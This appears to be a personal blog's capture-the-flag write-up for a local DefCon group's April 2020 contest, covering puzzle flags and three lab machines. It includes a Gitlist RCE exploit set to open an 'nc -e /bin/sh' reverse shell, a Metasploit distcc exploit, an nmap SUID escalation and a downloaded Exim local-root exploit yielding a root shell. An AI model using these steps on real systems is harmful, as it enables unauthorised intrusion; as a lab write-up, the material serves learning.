12 - DC207 April CTF

DC207's April 2020 CTF

Recently I took part in a CTF put on by my local DefCon group. I had a lot of fun, learned some cool stuff and decided to do a writeup as I acquired all the flags. The CTF was split into four categories, 'Fun Fun Fun Fun', 12 puzzle-style questions, and three virtual machines.

Fun Fun Fun Fun

#1 If only it were that easy

Solve the puzzle for the solution:


It's a caesar cipher! ROT[ate]7!


#2 Horse Meatballs

Attached is the clue. Decode the message, the flag is the name of the source of the content: notavirus.wav

Hmm, well, since it's not a virus I downloaded the file and opened it. After collecting my computer parts and reassembling it after I threw it out the window in my haste to disconnect it from my network, I realized the beeping noises were *gasp*, MORSE COOOOooode. Using morsecode.world, you can upload morse code files for decoding. Or, if you're spooked and would rather not upload things, they have a microphone option, so you can make beepbeep noises with ur mouth.

It was pretty easy to see that it was the lyrics to an Abba song. But, after having a small fit that my answers weren't working, my boy Outrun said, 'read the question again, ya idiot' and I realized the flag was... the source, yeah, Abba... not the lyrics.


#3 I can use google too!

Who is the hosting company for DC207 website? The flag will be in the format of flag{NAMEOFCO}. Happy hunting.

This one was actually pretty challenging, I didn't use google to find it, the Goog / whois / dig produced a bunch of answers, Amazon EC2, AWS, Acquious Hosting (???), Namecheap, etc. Alas, I was unable to locate the hosting provider via Google. Frustrated at my lack of googlefu, I turned to Burp.

I typically proxy all my traffic through Burp Suite if I'm trying to do anything... techy? I guess? As I'm writing this though, I realized you could probably just use dev tools? Hidden in plain sight, the answer is simply in the site headers.


#4 I can use google two!

What company is hosting this website? Format of flag will be flag{THISCOMPANY}. Good luck.

This one, a quick google revealed.

flag{Digital Ocean}

#5 There's another flag there in the first part. Can you find it?

Hey, I thought I got that one! Well, he said it's hidden... so I guess let's look at the file? You could do this a number of ways, likely easiest is just to look at the file's properties.


#6 Um, I always read my e-mail

Well, do you?

Well, I woulda, I swear it! But you see-- I never actually RECEIVED the email about the CTF... Again, friends to the rescue, Outrun forwarded it to me.

#7 ZOMG!

It's amazing how cute they are, isn't?

Yeah, pretty cute, but like what? Well, so far we've already had something hidden IN a file, usually with picture's it's some form of steganography. This site proved useful: https://stylesuxx.github.io/steganography/


#8 Open the file

So um, we're going to need you to open this file.


This one is fairly straightforward, run zip2john to obtain a hash, and run JTR against it. I couldn't imagine a CTF such as this would have hard cracking requirements, and as expected it cracked super duper fast.


#9 Wait, whois this?

There's something weird about DC207.org's DNS. Can you find it?

I really dig it when people include DNS challenges. Get it?


#10 Code Commode

My code is shit, check out DC207.org for where it's really bad. Can you find the flag?

Yup, totally can, you left it right in the source!


#11 I don't subscribe to that

What is the name of the country which was demoed in //dug0ut's recently published article? Solution will be in the format of flag{countryname}. Best of luck. :-)

Crap, yeah, I actually DON'T subscribe to that. So this one was a bit tricky, as we found out that it was from a 2600 zine. That's fine, but when we grabbed the most recent version, as it turns out it came out that same day. //dug0ut's article was not present unfortunately. So, I did the only thing a sane person would: download different wordlists of every country in the world that's ever existed or exists, sort -u them and use a bash loop and curl to slam them at the site until I got it. After a few attempts, it didn't appear to be working, so I added a big delay between requests. That seems to have fixed it.


#12 I'm down with the CCC

Solve this puzzle.

Yikes, this one was hard. Well, it was tricky. Sorry to all you chaps who decoded the message [BE SURE TO DRINK YOUR OVALTINE], oh wait that's not it, [CABLE SALAD IS GOOD FOR YOU]. Hell, I didn't even solve it, I started writing a bruteforcer to solve it for me when I decided to just run steghide against the picture. It prompted me for the password, but like a good little hacker I just hit enter instead. To my excitement, it actually spit a file out! 

At this point I was certain I had it, the contents of the file looked, again, like it was a caesar cipher. I rotated 7 and found that viola, it's the Fla--..irst paragraph of the wikipedia article on Caesar Ciphers... wooo! Fuck. The other thing you notice when you open that file is that there's a ton of whitespace. Five linebreaks after the last sentence. xxd gave me a clue, though.

Definitely fishy. I tried a whole lotta things-- first I started with morse code, coonverting tabs and spaces to dashes and dots and vice versa proved trying and fruitless. Also, trying to decipher morse without any spaces is... not a lot of fun. There are bruteforcers out there, but it was too much. At this point my worst fears became a temporary reality. I was certain it was whitespace(https://en.wikipedia.org/wiki/Whitespace_(programming_language)). I quickly found that I wasn't able to compile it, somewhere in the program, "there must be a rogue space... or tab..."" he whimpered.

Anyway, after debugging whitespace for a while I found the application (as is) is pushing some ASCII values onto the stack. Or, well, it WOULD be if it was a WS program. Turned out to be pure coincidence. I got the bright idea to finally google 'Whitespace encoding' and found stegsnow.


Esclation Station

The second challenge was a linux machine, it's NIC wasn't set up in a way that vmware agreed with so it needed to be on VirtualBox to get a network connection.

Here's the initial nmap:
└⇾ root $ nmap -sV -p0-
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 22:31 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for
Host is up (0.000087s latency).
Not shown: 65532 closed ports
21/tcp  open  ftp     vsftpd 2.0.8 or later
22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.25 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: 08:00:27:AE:ED:6B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds
Port 80 was hosting a gitlist install, a git management platform that has known vulnerabilities (RCEs, wooo). Gitlist hosted three files:
  • image1.png
  • image2.png
  • officiis.docx
Within each of the above were the first three flags. image1.png's flag was found by use of exiftool:
└⇾ root $ exiftool image1.png 
ExifTool Version Number         : 11.93
File Name                       : image1.png
XMP Toolkit                     : Image::ExifTool 9.27
Title                           : flag{triaxialityuncanninessesCamberwelldictyosomesclothed}
Megapixels                      : 0.262
image2.png was a QR code that revealed the flag: flag{thranganalogouslyunstrippedgauzinessesskerries}

officiis.docx wasn't actually a docx-- it holds a bunch of ASCII that appear to be hashes. There are two distinct looking 'lists', separated by some sort of delimiter. Additionally, at first glance you notice that each hash has a duplicate entry in the other list. Sorting the list makes it easier to see that there's a single hash that isn't in both lists:


The first half of that hash is ASCII hex:


The next flags can't be obtained without getting a shell on the machine. A quick google search revealed gitlist has multiple RCE vulnerabilities. We can use this exploit. Editing the file and command to:
url = ''
command = 'nc -e /bin/sh 8081' # nc reverse shell
your_ip = ''
your_port = 8001
Set up a netcat listener on 8081 and run the exploit:
└⇾ root $ python /pentest/gitList-RCE.py 
GitList 0.6 Unauthenticated RCE
by Kacper Szurek
[+] Found repo secret_files
[+] Found file image1.png
          |http://ns.adobe.com/xap/1.0/&#3e;?xpacket begin='[BINARY DATA REDACTED]' id='W5M0MpCehiHzreSzNTczk
[+] Search using
[+] Start server on
[+] Server started
└⇾ root $ nc -lvp 8081
listening on [any] 8081 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 59178
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We get the next flag from a file in a directory one up from our pwd:
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@debian-9:/home/git/repositories$ cd ../
cd ../
www-data@debian-9:/home/git$ ls -al
ls -al
total 16
drwxr-xr-x 3 www-data www-data 4096 Apr 13 14:43 .
drwxr-xr-x 5 root     root     4096 Apr 13 14:43 ..
-rwxr-x--- 1 www-data root       15 Apr 13 14:43 earum.xlsx
drwxr-xr-x 3 www-data root     4096 Apr 13 14:43 repositories
www-data@debian-9:/home/git$ cat earum.xlsx
cat earum.xlsx
The last flag is in /root/ so we need to escalate to get it. After running linuxprivescchecker on the machine I saw that the suid bit on nmap was set:
-rwsr-xr-x 1 root root 2838168 Dec 22  2016 /usr/bin/nmap
Normally, we'd be able to use the --interactive flag on nmap to drop into a shell with root privs, but this is nmap 7.4, so you'll  see the following if you try:
www-data@debian-9:/home/git/repositories/secret_files$ nmap --interactive
nmap --interactive
nmap: unrecognized option '--interactive'
See the output of nmap -h for a summary of options.
However, nmap can run user scripts, so it's possible to use nmap to execute commands, and because of the SUID bit, as a privileged user. We can use the following nmap privesc:
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
Then, obtaining the last flag:
cat /root/dolor.wav


For me, Wildout started similarly to Esclation Station-- a port scan showed quite a few open ports, but my first inkling was to go after http. Here's the nmap output: 
└⇾ root $ nmap -sV -p0-
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-28 19:24 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for
Host is up (0.000069s latency).
Not shown: 65526 closed ports
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
110/tcp   open  pop3     Openwall popa3d
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs_acl  3 (RPC #100227)
3632/tcp  open  distccd  distccd v1 ((Debian 6.3.0-18+deb9u1) 6.3.0 20170516)
36355/tcp open  mountd   1-3 (RPC #100005)
38939/tcp open  mountd   1-3 (RPC #100005)
44603/tcp open  nlockmgr 1-4 (RPC #100021)
49665/tcp open  mountd   1-3 (RPC #100005)
MAC Address: 08:00:27:BE:19:8F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.96 seconds
A few things stick out right away. First, http probably has *something* on it, second, pop3, nfs and distcc are certainly not default, with the latter two an explicit no.

Turns out gitlist is running on 80 and there's a 'secret_files' directory; within it, a not so excel-ish aut.xls document. Pulling that down:
└⇾ root $ curl -o aut.xls
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    65    0    65    0     0   2954      0 --:--:-- --:--:-- --:--:--  2954
└⇾ root $ file aut.xls 
aut.xls: ASCII text
└⇾ root $ cat aut.xls 
└⇾ root $ cat aut.xls | base64 -d
After looking around a bit more and finding no flags in page sources, headers, etc, I moved on. Next up is nfs:
└⇾ root $ showmount -e
Export list for
/exports *
└⇾ root $ mount /mnt
└⇾ root $ ls /mnt/
dicta.pages  image1.png  image2.png  image3.png  voluptatibus.doc
There's a single nfs share, /exports, which we can mount. Within it are several files, a 'dicta.pages' and 'voluptatibus.doc' file stumped me for a bit-- I'd later learn that they were created my SecGen when the CTF was being designed. There were also three images, each containing a flag:

image1.png: a QR code: flag{Diflucans offloading}

image2.png in exftool output:
└⇾ root $ exiftool image2.png 
ExifTool Version Number         : 11.93
File Name                       : image2.png
Y Resolution                    : 1
Comment                         : flag{9c9ab20e}
Image Width                     : 512
Megapixels                      : 0.262
image3.png exiftool output:
└⇾ root $ exiftool image3.png 
ExifTool Version Number         : 11.93
File Name                       : image3.png
XMP Toolkit                     : Image::ExifTool 9.27
Title                           : flag{shaft ouabains}
Image Width                     : 512
Megapixels                      : 0.262
After poking at the SecGen files, I moved back to enumerating. Metasploit had a module for distccd so I tried it and got a shell:
msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT   3632             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf5 exploit(unix/misc/distcc_exec) > set RHOSTS
msf5 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo r7cApZJB5IKNddg4;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "r7cApZJB5IKNddg4\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened ( -> at 2020-04-28 19:44:23 -0400

uid=112(distccd) gid=65534(nogroup) groups=65534(nogroup)
uname -a
Linux debian-9 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) x86_64 GNU/Linux
I popped into an interactive shell with pty and found the next two flags in the distccd users' directory:
python -c 'import pty; pty.spawn("/bin/bash")'
distccd@debian-9:~$ ls
aut.webm  quaerat.ods
distccd@debian-9:~$ cat aut.webm
distccd@debian-9:~$ cat quaerat.ods
The quaerat.ods file was octal encoded, base64'd ascii. Side ntoe, if you don't know any regex, you should really learn some. It's one of those things that takes a little bit of getting the hang of, and in the beginning seems like you're writing heiroglyphics, but once you're proficient with it, it just makes your life so much easier. All the time, seriously. The reason I mention anything is because octal is expected to be in groups of three, and some tools don't account for when it's not. Instead of hand counting one two three- space, one two three, etc, a regex can grab each set of three chars with ([0-9]{3}), then just replace with the match and a space.

Anyway, after base64 decoding, it's flag{6136771d}

A directory up and a few down, another flag: 
distccd@debian-9:~$ cat ../challenges/elusive/.hush_hush
If you didn't know, a '.' character in the front of a filename on a linux system acts to 'hide' the file. A normal ls won't see it, give it the -a switch.

As a side note, it's also possible to RCE gitlist again to obtain another shell. Some might have done that first, which will get you the .hush_hush flag earlier, you'll need to exploit distccd anyway to get it's flags.

The last flag is also in another home directory, for the user 'git':
distccd@debian-9:~$ cat /home/git/hush_hush
Obviously we're out for blood though, and we gotta get root. I loaded linuxprivesc check onto the machine and ran it, but didn't find anything that would immediately launch me to root. I looked at running processes, services, all the normal enumeration one does. The only odd thing I noticed was the machine was running exim and pop. I remember thinking that was odd for a CTF, and must mean something, but it wasn't for another hour or so when I googled debian 9 exploit where I found a local priv esc for exim4, from 2019 (https://techblog.mediaservice.net/2019/06/cve-2019-10149-exploit-local-privilege-escalation-on-debian-gnu-linux-via-exim/). I figured this must be it, ran it, and dropped to a shell.
distccd@debian-9:/tmp$ curl -o exim4_raptor.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3557  100  3557    0     0   745k      0 --:--:-- --:--:-- --:--:--  868k
distccd@debian-9:/tmp$ chmod +x exim4_raptor.sh
chmod +x exim4_raptor.sh
distccd@debian-9:/tmp$ ./exim4_raptor.sh

raptor_exim_wiz - "The Return of the WIZard" LPE exploit
Copyright (c) 2019 Marco Ivaldi 

Preparing setuid shell helper...

Delivering setuid payload...
220 debian-9.0.0-amd64 ESMTP Exim 4.89 Wed, 29 Apr 2020 00:10:20 +0000
250 debian-9.0.0-amd64 Hello localhost [::1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1jTaIu-0000cq-3Q
221 debian-9.0.0-amd64 closing connection

Waiting 5 seconds...
-rwsr-xr-x 1 root nogroup 8744 Apr 29 00:10 /tmp/pwned
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)


Lastly, we have decoder. Decoder was very straightforward, the goal was clear, but it was still tricky figuring out what was encoded, how.

So the first thing to do is a quick nmap:
└⇾ root $ nmap -T5
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-22 17:20 EDT
Nmap scan report for
Host is up (0.000092s latency).
Not shown: 997 closed ports
22/tcp   open  ssh
111/tcp  open  rpcbind
2049/tcp open  nfs
MAC Address: 00:0C:29:1C:F6:83 (VMware)

Nmap done: 128 IP addresses (3 hosts up) scanned in 29.40 seconds
Looks like decoder lives at 135. Immediately, 2049/tcp stands out. NFS is commonly seen, and less commonly secured, so I use showmount to list the shares:
└⇾ root $ showmount -e
Export list for
/files *
As expected, a good sign for us. Mounting the NFS share yields the following:
└⇾ root $ showmount -e
Export list for
/files *
└⇾ root $ mount /mnt
└⇾ root $ ls -al /mnt
total 16
drwxr-xr-x  2 root root 4096 Apr 13 10:34 .
drwxr-xr-x 26 root root 4096 Aug 13  2018 ..
-rw-rw-rw-  1 root root   82 Apr 13 10:34 et.odp
-rw-rw-rw-  1 root root  490 Apr 13 10:34 nisi.avi
We've got some... interesting files in here? But are they what they seem?
└⇾ root $ file *
et.odp:   ASCII text
nisi.avi: UTF-8 Unicode text
'file' tells us that these are probably not what they seem-- .avi files don't typically contain only text.
└⇾ root $ cat et.odp 
└⇾ root $ cat nisi.avi 






Well! That's a lotta stuff. A lot of it is recognizable though and from the name of the machine, 'Decoder', it's not a far reach to say that these are probably all, well.. encoded. It took a bit, but here they all are decoded.
cat et.odp 
et.odp contains the flag, encoded in the octal scheme: flag{WYYNACM1XSu8yZ67oyiog}

nisi.avi contains a number of flags, the first obviously being plaintext.

flag{9e18caaf} duh

Base64: ZmxhZ3t1bnRob3VnaHRmdWxuZXNzQ2hpYmNoYW5leGNyZXRhbHBlcGx1bWVkbm96emxlfQ==

Decimal (split every third char): 102108097103123115104097119108101100032112115097108109105099125
flag{shawled psalmic}

ASCII Shift+102: ,2'-AUVT*XW\TC

Binary: 0110011001101100011000010110011101111011001100110110001000110110011001100011000001100110001100000011000101111101

Braille: ⠋⠇⠁⠛{⠑⠁⠼⠓⠼⠋⠼⠙⠼⠛⠑⠋}


That's it for decoder!

Popular posts from this blog

07 - Just Another OSCE Review

06 - How to maybe not be so bad at fuzzing, Part 2

02x01 - How to maybe not be as bad at fuzzing unknown binary protocols as you were before reading this